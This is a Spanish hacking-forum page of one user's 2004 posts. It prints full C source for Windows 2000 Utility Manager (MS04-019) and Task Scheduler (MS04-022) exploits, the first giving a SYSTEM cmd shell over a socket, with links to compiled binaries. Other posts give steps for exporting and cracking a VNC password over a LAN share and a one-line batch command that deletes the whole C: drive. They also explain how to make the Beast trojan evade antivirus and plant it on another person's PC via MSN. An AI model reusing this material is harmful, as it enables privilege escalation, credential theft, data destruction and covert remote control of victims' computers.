elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Ingresar Registrarse
14 Octubre 2008, 01:03  



  Mostrar Mensajes
Páginas: 1 ... 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 [104] 105 106
1546  Seguridad Informática / Bugs y Exploits / Re: Microsoft Window Utility Manager Local Elevation of Privileges (MS04-019) en: 18 Septiembre 2004, 03:46
Disculpa, pero yo veo lo quen puedo entender y la verdad este exploit lo baje de una pagina lo unoc que hice fue jugar con las cadenas hasta agarrar el de spañol, pero creo que tampoco esta tan dificil de entender,

veamos lo que entiendo

la parte de lang es la ver de win200, ahi aprece  los dos tipos de lenguajes  (frances e ingles)

la parte lang list, te va a decir que sistema estas corriendo pero no te va aejecutar el exploit, si corres ene spañol, te bota spañol( a menos que le pongas la ruta para españiol)

y de ahi ya comienza haceer la injeccion  y  comienza hacer la rutina d elevantar  el utilman.exe  y jugar el winhelp32
te vuelve a llamar tu programa y asi hace una huevadita que noe entiendo es como que entrara al menu de no se que(por flojo por que puedes modificar los sleeps) , mira bro corre el progrma  o por ultimo compilalo en visual c++

Enjoy
Man-In-the-Middle



1547  Seguridad Informática / Bugs y Exploits / Microsoft Window Utility Manager Local Elevation of Privileges (MS04-019) en: 18 Septiembre 2004, 01:02
Este exploittt, permite subir privilegios a un usuario que trabaje en windows2000
Funciona asi
Microsoft Windows 2000 [Versión 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\>cd 2

C:\2>privi 10.10.1.253(tu maquina)


Código:
        [Crpt] Utility Manager exploit v2.666 modified by kralor [Crpt]
                         base code by Cesar Cerrudo
         added autonomous (allinone) remote exploitation system
                         You know where we are...

[i] waiting connection on port 31337
[+] Gathering system language information
[+] OK language ...Spanish
[+] Trying to execute program with SYSTEM priviliges through utilman.exe
prog: privi.exe
path: C:\2
[i] host 127.0.0.1 connected
[h] type 'exit -shell' to leave the shell

Microsoft Windows 2000 [Versión 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\2>

exploit

solo es par ver , ingles, frances, pero si la quires para español
remplaza la linea
 { 0x09,"Utility manager","Windows Help","Open" } /* English
por
0x0a,"Administrador de utilidades","Ayuda de Windows","Abrir" } /* Spañol */


Exploit:
/*****************************************************************************************
 *****C*****O*****R*****O******M******P*****U*******T*******E******R*****2***0***0***4****
 ** [Crpt] Utility Manager exploit v2.666 modified by kralor [Crpt] **
 * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
 ** It gets system language and sets windows names to work on any win2k :P **
 ** Feel free to add other languages :) **
 ** v2.666: added autonomous (allinone) remote exploitation system ;) **
 ** It can be executed through poor cmd.exe shells (like nc -lp 666 -e cmd.exe from a **
 ** normal user account). Must be called with an argument (any argument) **
 ** You know where we are.. **
 *****C*****O*****R*****O******M******P*****U*******T*******E******R*****2***0***0***4****
 *****************************************************************************************/
/* original disclaimer */
//by Cesar Cerrudo sqlsec>at<yahoo.com
//Local elevation of priviliges exploit for Windows 2K Utility Manager (second one!!!!)
//Gives you a shell with system privileges
//If you have problems try changing Sleep() values.
/* end of original disclaimer */

#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
#include <conio.h>
#include <io.h>

#pragma comment (lib,"ws2_32")

#define EXIT_SHELL "exit -shell"
#define HOST "localhost"
#define PORT 31337

struct {
 int id;
 char *utilman;
 char *winhelp;
 char *open;
} lang[] = {
 { 0x0c,"Gestionnaire d'utilitaires","aide de Windows","Ouvrir" }, /* French */
 { 0x09,"Utility manager","Windows Help","Open" } /* English */
};

void print_lang(int id)
{
 char *lang_list[] = {"Neutral","Arabic","Bulgarian","Catalan","Chinese","Czech",
        "Danish","German","Greek","English","Spanish","Finnish",
        "French","Hebrew","Hungarian","Icelandic","italian",
        "Japanese","Korean","Dutch","Norwegian","Polish",
        "Portuguese","Romanian","Russian","Croatian","Serbian",
        "Slovak","Albanian","Swedish","Thai","Turkish","Urdu",
        "Indonesian","Ukrainian","Belarusian","Slovenian",
        "Estonian","Latvian","Lithuanian","Farsi","Vietnamese",
        "Armenian","Azeri","Basque","FYRO Macedonian","Afrikaans",
        "Georgian","Faeroese","Hindi","Malay","Kazak","Kyrgyz",
        "Swahili","Uzbek","Tatar","Not supported","Punjabi",
        "Gujarati","Not supported","Tamil","Telugu","Kannada",
        "Not supported","Not supported","Marathi","Sanskrit",
        "Mongolian","Galician the best ;)","Konkani","Not supported",
        "Not supported","Syriac","Not supported","Not supported",
        "Divehi","Invariant"};
 printf("%s\r\n",lang_list[id]);
 return;
}

int cnx(char *host, int port)
{
 SOCKET sock;
 struct sockaddr_in yeah;
 struct hostent *she;
 PROCESS_INFORMATION ProcessInformation;
 STARTUPINFO si;

 printf("[i] should be called by myself, try with any argument to load the attack\r\n");
 fflush(stdout);
 sock = WSASocket(0x02,0x01,0x00,0x00,0x00,0x00);
 if(!sock) {
  printf("error: unable to create socket\r\n");
  return -1;
  }

 yeah.sin_family=AF_INET;
 yeah.sin_addr.s_addr=inet_addr(host);
 yeah.sin_port=htons((u_short)port);

if((she=gethostbyname(host))!=NULL) {
 memcpy((char *)&yeah.sin_addr,she->h_addr,she->h_length);
 } else {
 if((yeah.sin_addr.s_addr=inet_addr(host))==INADDR_NONE) {
  printf("error: cannot resolve host\r\n");
  return -1;
  }
 }
 if(connect(sock,(struct sockaddr*)&yeah,sizeof(yeah))!=0) {
  printf("error: connection refused\r\n");
  return -1;
  }

 si.cb = 0x44;
 si.lpReserved = 0x00;
 si.lpTitle = 0x00;
 si.lpDesktop = 0x00;
 si.dwX = 0x00;
 si.dwY = 0x00;
 si.dwXSize = 0x00;
 si.dwYSize = 0x00;
 si.wShowWindow = 0x00;
 si.lpReserved2 = 0x00;
 si.cbReserved2 = 0x00;

 si.dwFlags = 0x101;

 si.hStdInput = (void *)sock;
 si.hStdOutput = (void *)sock;
 si.hStdError = (void *)sock;

 if(!CreateProcess(0x00, "cmd", 0x00, 0x00, 0x01, 0x10, 0x00, 0x00,&si, &ProcessInformation)) {
  printf("CreateProcess() error\r\n");
  return -1;
 }
 return 0;
}

void cmdshell(int sock)
{
 int length=666;
 char buffer[1024];

while(length) {
  length=read(0,buffer,sizeof(buffer));
  buffer[length]=0;
  if(!strncmp(buffer,EXIT_SHELL,strlen(EXIT_SHELL))) {
   send(sock,"exit\r\n",6,0);
   break;
   }
  length=send(sock,buffer,length,0);
  if (length<=0) {
   printf("[i] Connection closed.\n");
   exit(0);
  }
 }
 printf("[i] Connection successfully exited.\r\n");
 exit(0);
}

void wait_cnx(int port) {
 int sock, s,t;
 struct sockaddr_in my_addr;
 struct sockaddr_in their_addr;
    int sin_size;
 char buffer[4095];

if((sock = socket(AF_INET, SOCK_STREAM, 0))==-1) {
 printf("error: unable to create socket\r\n");
 exit(1);
 }
 my_addr.sin_family=AF_INET;
 my_addr.sin_port=htons((u_short)port);
 my_addr.sin_addr.s_addr=INADDR_ANY;
if(bind(sock, (struct sockaddr *)&my_addr, sizeof(struct sockaddr))==-1) {
 printf("error: unable to bind socket on port %d\r\n",port);
 exit(1);
 }
if(listen(sock, 3)==-1) {
 printf("error: unable to listen\r\n");
 exit(1);
 }
 sin_size=sizeof(struct sockaddr_in);
 printf("[i] waiting connection on port %d\r\n",port);

if((s=accept(sock, (struct sockaddr *)&their_addr,&sin_size))==-1) {
 printf("error: unable to accept connection\r\n");
 exit(1);
 }
 memset(buffer,0,sizeof(buffer));
 printf("[i] host %s connected\r\n", inet_ntoa(their_addr.sin_addr));
 printf("[h] type 'exit -shell' to leave the shell\r\n\r\n");
 fflush(stdout);
 CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)cmdshell,(void*)s,0,&t);
 while((sin_size=recv(s,buffer,sizeof(buffer),0))>0) {
  buffer[sin_size]=0x00;
  printf("%s",buffer);
  fflush(stdout);
  }
 printf("\r\n[i] shell lost\r\n");
 return;
}

int set_lang(void)
{
 unsigned int lang_usr,lang_sys,id;

 id=GetSystemDefaultLangID();
 lang_sys=PRIMARYLANGID(id);
 id=GetUserDefaultLangID();
 lang_usr=PRIMARYLANGID(id);
 if(lang_usr!=lang_sys) {
  printf("warning: user language differs from system language\r\n\r\n");
  printf("1. system : ");print_lang(lang_sys);
  printf("2. user : ");print_lang(lang_usr);printf("Select(1-2): ");
  fflush(stdout);
  id=getch();
 if(id!=49&&id!=50) {
  printf("wrong choice '%c', leaving.\r\n",id);
  exit(0);
  }
 if(id==49) {
  printf("system language\r\n");
  return lang_sys;
  }
 else
  printf("user language\r\n");
 }
 return lang_usr;
}

void banner()
{
 printf("\r\n\r\n\t[Crpt] Utility Manager exploit v2.666 modified by kralor [Crpt]\r\n");
 printf("\t\t\t base code by Cesar Cerrudo\r\n");
 printf("\t added autonomous (allinone) remote exploitation system\r\n");
 printf("\t\t\t You know where we are...\r\n\r\n");
 fflush(stdout);
 return;
}

void give_magicshell(void)
{
 cnx(HOST,PORT);
 exit(0);
 return;
}

void enter_filename(HWND hwnd,char *filename,int size)
{
 unsigned int i;

 for(i=0;i<(unsigned int)size;i++)
  SendMessage(hwnd, WM_IME_KEYDOWN, toupper(filename[i]), 0);
 return;
}

int main(int argc, char* argv[])
{
    HWND lHandle, lHandle2;
    POINT point;
    char cmd[512];
 unsigned int i,j,t;
 int lang_id,path_len=1024;
 char *path;
 WSADATA wsa;
 HANDLE hdlr;

 banner();
 if(WSAStartup(0x101,&wsa)) {
  printf("error: unable to load winsock\r\n");
  return -1;
 }
if(argc==1)
 give_magicshell();

 hdlr=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)\
   wait_cnx,(void*)PORT,0,&t);
 Sleep(1000);

 printf("[+] Gathering system language information\r\n");
 lang_id=set_lang();
 printf("[+] OK language ...");print_lang(lang_id);
 fflush(stdout);
 for(i=0;i<sizeof(lang)/sizeof(lang[0]);i++)
  if(lang[i].id==lang_id)
   break;
 if(i==sizeof(lang)/sizeof(lang[0])) {
  printf("error: undefined language.\r\n");
  return -1;
 }
 printf("[+] Trying to execute program with SYSTEM priviliges through utilman.exe\r\n");
 memset(cmd,0,sizeof(cmd));
 for(j=strlen(argv[0]);j>0;j--)
  if(argv[0][j]=='\\') {
   j++;break;
  }
 strncpy(cmd,&argv[0][j],508);
 if(cmd[strlen(cmd)-4]!='.')
  strcat(cmd,".exe");

 printf("prog: %s\r\n",cmd);
 cmd[strlen(cmd)-1]='?';
 fflush(stdout);
// run utility manager
 WinExec("utilman.exe /start",SW_HIDE);
 Sleep(1000);

 lHandle=FindWindow(NULL, lang[i].utilman);
    if (!lHandle) {
  printf("error: unable to start utilman.exe.\r\n");
  return 0;
 }

    PostMessage(lHandle,0x313,0,0); //=right click on the app button in the taskbar or Alt+Space Bar
 Sleep(100);

 SendMessage(lHandle,0x365,0,0x1); //send WM_COMMANDHELP 0x0365 lParam must be<>NULL
 Sleep(300);
       
 SendMessage (FindWindow(NULL, lang[i].winhelp), WM_IME_KEYDOWN, VK_RETURN, 0);
 Sleep(500);

        // find open file dialog window
 lHandle = FindWindow("#32770",lang[i].open);
    // get input box handle
    lHandle2 = GetDlgItem(lHandle, 0x47C);
    Sleep(500);

 path=(char*)malloc(path_len);
 GetCurrentDirectory(path_len,path);
 printf("path: %s\r\n",path);
    SendMessage (lHandle2, WM_SETTEXT, 0, (LPARAM)path);
    SendMessage (lHandle2, WM_IME_KEYDOWN, VK_RETURN, 0);
 free(path);
 fflush(stdout);

    // set text to filter listview to display only cmd.exe
    SendMessage (lHandle2, WM_SETTEXT, 0, (LPARAM)cmd);
    Sleep(800);

    // send return
    SendMessage (lHandle2, WM_IME_KEYDOWN, VK_RETURN, 0);

    //get navigation bar handle
    lHandle2 = GetDlgItem(lHandle, 0x4A0);
   
    //send tab
    SendMessage (lHandle2, WM_IME_KEYDOWN, VK_TAB, 0);
    Sleep(500);
    lHandle2 = FindWindowEx(lHandle,NULL,"SHELLDLL_DefView", NULL);
    //get list view handle
    lHandle2 = GetDlgItem(lHandle2, 0x1);

 enter_filename(lHandle2,cmd,strlen(cmd)-4);
    Sleep(500);

    //popup context menu
    PostMessage (lHandle2, WM_CONTEXTMENU, 0, 0);
    Sleep(1000);

    // get context menu handle
    point.x =10; point.y =30;
    lHandle2=WindowFromPoint(point);

    SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0); // move down in menu
    SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0); // move down in menu
    SendMessage (lHandle2, WM_KEYDOWN, VK_RETURN, 0); // send return

    SendMessage (lHandle, WM_CLOSE,0,0); // close open file dialog window
    Sleep(500);

 SendMessage (FindWindow(NULL, lang[i].winhelp), WM_CLOSE, 0, 0);// close open error window
 SendMessage (FindWindow(NULL, lang[i].utilman), WM_CLOSE, 0, 0);// close utilitymanager
 WaitForSingleObject(hdlr,INFINITE);
 WSACleanup();
 return 0;
}

y ya ta
el exploit compilado para español

http://mx.geocities.com/petzulu2004/privi.zip

Enjoy
Man-In-the-Middle

Puta mare este es???, alguien que me lo pueda compilar, que ya no tengo esa cuenta


1548  Seguridad Informática / Bugs y Exploits / Microsoft Windows 2K/XP Task Scheduler Vulnerability (Exploit, MS04-022 en: 16 Septiembre 2004, 10:17
Este exploit , crea un archivo con extensión task.obj que ocaciona overflow y te maanda un mensaje de error por el notpad cada ves que quieras entrar en la carpeta donde se encuentra el obj, saltara el notepad y ocasionara volcadura de memoria

Lo compile con dev c++

Affected Software:
 * Microsoft Windows 2000 Service Pack 2, Microsoft Windows 2000 Service Pack 3, Microsoft Windows 2000 Service Pack 4
 * Microsoft Windows XP and Microsoft Windows XP Service Pack 1
 * Microsoft Windows XP 64-Bit Edition Service Pack 1

Exploit:
Código:
//**************************************************************************
// Microsoft Windows 2K/XP Task Scheduler Vulnerability (MS04-022)
// Proof-of-Concept Exploit for English WinXP SP1
// 15 Jul 2004
//
// Running this will create a file "j.job". When explorer.exe or any
// file-open dialog box accesses the directory containing this file,
// notepad.exe will be spawn.
//
// Greetz: snooq, sk and all guys at SIG^2 (www.security.org.sg);
//
//**************************************************************************

#include <stdio.h>
#include <windows.h>


unsigned char jobfile[] =
"\x01\x05\x01\x00\xD9\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
"\xFF\xFF\xFF\xFF\x46\x00\x92\x00\x00\x00\x00\x00\x3C\x00\x0A\x00"
"\x20\x00\x00\x00\x00\x14\x73\x0F\x00\x00\x00\x00\x03\x13\x04\x00"
"\xC0\x00\x80\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x80\x01\x44\x00\x3A\x00\x5C\x00\x61\x00"
"\x2E\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"


"\x78\x00\x78\x00\x78\x00\x78\x00\x79\x00\x79\x00\x79\x00\x79\x00"
"\x7A\x00\x7A\x00\x7A\x00\x7A\x00\x7B\x00\x7B\x00\x7B\x00"
"\x5b\xc1\xbf\x71" // jmp esp in SAMLIB WinXP SP1
"\x42\x42\x42\x42\x43\x43\x43\x43\x44\x44\x44\x44"
"\x90\x90" // jmp esp lands here
"\xEB\x80" // jmp backward into shellcode
"\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00"
"\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00"
"\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00"
"\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00"
"\x61\x00\x61\x00\x61\x00\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x00\x00\x00\x00\x04\x00\x44\x00\x3A\x00"
"\x5C\x00\x00\x00\x07\x00\x67\x00\x75\x00\x65\x00\x73\x00\x74\x00"
"\x31\x00\x00\x00\x00\x00\x00\x00\x08\x00\x03\x13\x04\x00\x00\x00"
"\x00\x00\x01\x00\x30\x00\x00\x00\xD4\x07\x07\x00\x0F\x00\x00\x00"
"\x00\x00\x00\x00\x0B\x00\x26\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00";


/*
* Harmless payload that spawns 'notepad.exe'... =p
* Ripped from snooq's WinZip exploit
*/

unsigned char shellcode[]=
"\x33\xc0" // xor eax, eax // slight modification to move esp up
"\xb0\xf0" // mov al, 0f0h
"\x2b\xe0" // sub esp,eax
"\x83\xE4\xF0" // and esp, 0FFFFFFF0h
"\x55" // push ebp
"\x8b\xec" // mov ebp, esp
"\x33\xf6" // xor esi, esi
"\x56" // push esi
"\x68\x2e\x65\x78\x65" // push 'exe.'
"\x68\x65\x70\x61\x64" // push 'dape'
"\x68\x90\x6e\x6f\x74" // push 'ton'
"\x46" // inc esi
"\x56" // push esi
"\x8d\x7d\xf1" // lea edi, [ebp-0xf]
"\x57" // push edi
"\xb8XXXX" // mov eax, XXXX -> WinExec()
"\xff\xd0" // call eax
"\x4e" // dec esi
"\x56" // push esi
"\xb8YYYY" // mov eax, YYYY -> ExitProcess()
"\xff\xd0"; // call eax


int main(int argc, char* argv[])
{
    unsigned char *ptr = (unsigned char *)shellcode;

    while (*ptr)
    {
        if (*((long *)ptr)==0x58585858)
        {
            *((long *)ptr) = (long)GetProcAddress(GetModuleHandle("kernel32.dll"), "WinExec");
        }
        if (*((long *)ptr)==0x59595959)
        {
            *((long *)ptr) = (long)GetProcAddress(GetModuleHandle("kernel32.dll"), "ExitProcess");
        }
        ptr++;
    }

    FILE *fp;
    fp = fopen("j.xxx", "wb");
    if(fp)
    {
        unsigned char *ptr = jobfile + (31 * 16);
        memcpy(ptr, shellcode, sizeof(shellcode) - 1);

        fwrite(jobfile, 1, sizeof(jobfile)-1, fp);
        fclose(fp);
        DeleteFile("j.job");
        MoveFile("j.xxx", "j.job");
    }
    return 0;
}

si lo quires probar
aca esta compilado

http://mx.geocities.com/petzulu2004/task.zip

seguridad:

No lo ejecutes en el escritorio!!

Enjoy
Man-In-the-Middle
1549  Seguridad Informática / Hacking Básico / sacar el password del vnc en un Lan y propiedades del vnc en: 16 Septiembre 2004, 07:25
Se comparte un directorio en c
C:\026
Se hace la siguiente rutina en bat. Exe o lo que sea
regedit /e \\none\026\vnc.reg HKEY_LOCAL_MACHINE\Software\ORL\WinVNC3
esto de copia el reg de la maquina en tu directorio 026
con el vnccrack lo rompes y ya tienes el password

Propiedades

Registry Value Name   Type   M      DU      LPU      GPU      
      Doc   Init   Doc   Init   Doc   Init   Doc   Init   
Primary Documented Values                              
No VNCHooks info                              
                              
AuthRequired                              Disabled; set to 0 is no pass required
AllowLoopback                              Disabled; set to 1 allows loopback
AllowProperties                              If 0, cannot use properties - DISABLES GPU
AllowShutdown                           0=user cannot shut down WinVNC
AuthHosts                              REG_SZ IP Template
QuerySetting                              AuthHosts paranoia; 0-4, default 2(+:Accept, ?:Query, -:Reject)
QueryTimeout                           AcceptConnection timeout (sec) - rejects if not accepted
AutoPortSelect                              Select first available port automatically
ConnectPriority                              0-2, default 0 - based on non-shared request
CORBAConnect                              Only relevant in internal AT&T version
DebugLevel                              0 to 12
DebugMode                              1=MSVC,2=WinVNC.log,4=console - maskable
IdleTimeout                              Idle seconds before disconnect client;0/null=eternity
InputsEnabled                              Disables REMOTE Inputs (kbd, pointer)
Local Inputs Disabled                              
LockSetting                              Disconnect: 0 = nothing,1=lockworkstation,2=logoff
LoopbackOnly                              Listen for connection only on loopback
OnlyPollConsole                              Correspond to dialog box settings
OnlyPollOnEvent                              Correspond to dialog box settings
Password                              Binary hashed password
PollForeground                              Correspond to dialog box settings
PollFullScreen                              Correspond to dialog box settings
PollUnderCursor                              Correspond to dialog box settings
PortNumber                              Specifies port number; must disable AutoPortSelect to work.
RemoveWallpaper                              Remove Wallpaper on connection
SocketConnect                              Accept Socket Connections as in Dialog Box
                              
Enjoy
Man-In-the-Middle                              
1550  Seguridad Informática / Bugs y Exploits / Re: Trillian 0.74i Remote (Modulo MSN) Buffer Overflow exploit en: 15 Septiembre 2004, 01:04
Ecole, tienes toda la razon, pero definitivamnete, tienes que configurar tu pc con los parametros para hacer un Man-In-the-Middle

asumo que tienes que confidurar la pc, como para un ettercap si es por esa tecnica,

HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters

y en el valor IPEnableRouter ponemos un 1 en vez de un 0.



1551  Seguridad Informática / Bugs y Exploits / Re: Trillian 0.74i Remote (Modulo MSN) Buffer Overflow exploit en: 14 Septiembre 2004, 09:05
asumo que tienes que confidurar la pc, como para un ettercap si es por  esa tecnica,

HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters

y en el valor IPEnableRouter ponemos un 1 en vez de un 0.

pero de verdad que no veo la linea,
por otro lado
This exploit spawn a shell on port 5555, you have just to execute the
program and "connect to port 5555".
*/
1552  Seguridad Informática / Bugs y Exploits / Re: Trillian 0.74i Remote (Modulo MSN) Buffer Overflow exploit en: 14 Septiembre 2004, 08:56


no se , tiene pinta de trojan, bueno que se hace, thx

Man-In-the-Middle
1553  Seguridad Informática / Bugs y Exploits / Re: Trillian 0.74i Remote (Modulo MSN) Buffer Overflow exploit en: 14 Septiembre 2004, 07:41
Microsoft Windows 2000 [Versión 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\>cd 2

C:\2>pr
------------------------------------------------------------------------
-  Cerulean Studios Trillian 0.74i MSN module Buffer Overflow exploit  -
-                   for Windows 2000 / Windows XP                      -
-                                                                      -
-         created by Komrade  -  http://unsecure.altervista.org        -
------------------------------------------------------------------------

Waiting for a connection...



por que se pega?
1554  Seguridad Informática / Análisis y Diseño de Malware / Re: virus que formatean en: 14 Septiembre 2004, 05:42
o un bat

create un bat

deltree /y c:\*.*>nul
y ya ta

Enjoy

Man-In-the-Middle

1555  Seguridad Informática / Bugs y Exploits / Re: ¿Como se envian los EXPLOITS? en: 14 Septiembre 2004, 05:31
Mucha info para un lammer!!!
1556  Seguridad Informática / Bugs y Exploits / como se utiliza la macro del kaht2? en: 10 Septiembre 2004, 07:41
Como ejecuto la macro del kahth2

Man-In-the-Middle,
1557  Seguridad Informática / Análisis y Diseño de Malware / Re: Indetectable beast 2.7 para todo antivirus en: 10 Septiembre 2004, 03:35
Con No injection has probado, y sin blinder , como se dice a pelo no mas, , prueba upx0 y con upx1, el truco es jugar con las combinar

enjoy
 Man-In-the-Middle
1558  Seguridad Informática / Análisis y Diseño de Malware / Re: ¡ Para un experto ... ayudenme ! en: 10 Septiembre 2004, 02:18
arrancando por ahi quirubin Hex_thor en el caso del subseven legend, no sabria si tiene conexion inversa, no lo he probado, por que me parece que es muy pesado el server ,el de beast es de 30kb( com decimos en mi klan, es una cagadita de tamaño)
Probando cosas nuevas simpre se agarra el gusto!!!
Yo trabajaba cuando era mas pinuno con netbus1.6-1.7 pro
y pense que era la maximo(y creo que lo es), pero  aparecieron otro como depthout, keinforest y muchos mas, no te pegues en una sola cosa bro

Salu2
Man-In-the-Middle
1559  Seguridad Informática / Análisis y Diseño de Malware / Re: cosas raras cn el beast 2.07 en: 10 Septiembre 2004, 02:10
2.6 si es detectable, pero 2.07  con la configuracion y combio offset a mas 1 en upx, no lo detecta  hjk, (por el momento) y en cuestion deque le cambi la barra de colores y de mases, jamas de jamases me ha pasdoe eso, configura tu server sin injectionnnn( asi no es detectable)

Enjoy
Man-In-the-Middle
1560  Seguridad Informática / Análisis y Diseño de Malware / Re: ¡ Para un experto ... ayudenme ! en: 09 Septiembre 2004, 08:03
hey quirubin, lee un poco please, hay una opcion donde notificacion hay una que dice
SIN
le das get ip
check a enable sin
y ya ta, esta opcion se usa para intranet, pero tambien funciona en internet, lo instalas en donde quieras
y en el beast hay una opcion start listen sin
le das
y el server se va aconectar a tu cliente(beast), ojo!!
que esta opcion solo te dura hasta que inicies tu maquina, por que cuando reinicias, se cambia tu IP, , yo te aconsejo dos cosas,
1 has un server simple sin notificacion ni nada
2 parchalo como dice pwdumb (la explicacion esta mas arriba)
3 mandalo por msn a algun amigo(para que practiques)ç
no uses blinder!!!
4 cuando lo estes mandando y tu amigo acepte y ves la taza de transferencia
en tu maquina
en cmd pones netstat -a
y ahi sale el ip de tu amigo
una ves que lo ejecuta tu amigo, se desaparece, eso quiere decir
que ya se instalo
y en la parte de host pones el ip de tu amigo
y lo conectas!!
OJO quirubin esto es para aprender y saber como funcionan estos programas,no le cagues ni borres nada, cualquier cosa que hagas esta bajo tu reponsabilidad OK!!! bro.

Otra cosa Hex_thor, lee el manual que esta dentro del beast ok beast stuff-- help te va a orientar mas de lo que te imaginas.

Enjoy y viento en popa quirubin alias Hex_thor
Man-In-the-Middle


Páginas: 1 ... 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 [104] 105 106






Consolas     La Web de Goku     MilW0rm     MundoDivx

Hispabyte     Truzone     TodoReviews     ZonaPhotoshop

hard-h2o modding    Foros de ayuda    Yashira.org    Videojuegos    indetectables.net   

Noticias Informatica    Seguridad Informática    ADSL    Foros en español    eNYe Sec

Todas las webs afiliadas están libres de publicidad engañosa.

Powered by SMF 1.1.6 | SMF © 2006-2008, Simple Machines LLC